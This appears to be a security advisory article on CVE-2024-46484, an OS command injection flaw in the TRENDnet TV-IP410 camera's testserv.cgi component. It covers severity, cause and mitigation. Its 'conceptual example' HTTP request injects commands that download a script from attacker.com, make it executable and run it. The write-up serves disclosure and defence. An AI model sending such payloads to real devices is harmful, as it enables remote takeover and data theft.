Overview
In the world of cybersecurity, the identification and mitigation of vulnerabilities are of utmost importance. One such vulnerability, recently discovered, is the CVE-2024-46484, which affects the TRENDnet TV-IP410 vA1.0R. This vulnerability is a critical issue as it allows an attacker to inject operating system commands within the /server/cgi-bin/testserv.cgi component, potentially leading to system compromise or data leakage.
The severity of the vulnerability, coupled with its widespread impact, underlines the urgent need for immediate mitigation. The vulnerability poses a significant threat to users and organizations making use of the impacted device, and its exploitation could have severe consequences, including unauthorized access, data theft, and potential system compromise.
Vulnerability Summary
CVE ID: CVE-2024-46484
Severity: Critical (CVSS Score 9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage
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Product | Affected Versions
TRENDnet TV-IP410 | vA1.0R
How the Exploit Works
The vulnerability resides in the /server/cgi-bin/testserv.cgi component of the TRENDnet TV-IP410 vA1.0R. The flaw allows an attacker to inject malicious operating system commands directly into the said component. This is possible due to insufficient input validation and the use of unsafe system calls. Once the malicious commands are executed, the attacker could potentially gain unauthorized access, compromise the system, or leak sensitive data.
Conceptual Example Code
Here is a conceptual example of how the vulnerability might be exploited with an HTTP request:
POST /server/cgi-bin/testserv.cgi HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
cmd=; wget http://attacker.com/malicious_script.sh; chmod +x malicious_script.sh; ./malicious_script.sh;In this example, the attacker uses the ‘cmd’ parameter to run a series of commands. These commands download a malicious script from the attacker’s server, make the script executable, and then run the script-potentially leading to a full system compromise.
Mitigation Guidance
Users of the affected TRENDnet TV-IP410 vA1.0R are advised to apply the vendor patch immediately to mitigate the vulnerability. As an interim measure, users could utilize Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS) to detect and potentially block exploitation attempts. However, these are temporary measures and do not provide a complete solution to the vulnerability. As a best practice, always ensure that your systems are updated with the latest patches and updates from vendors.
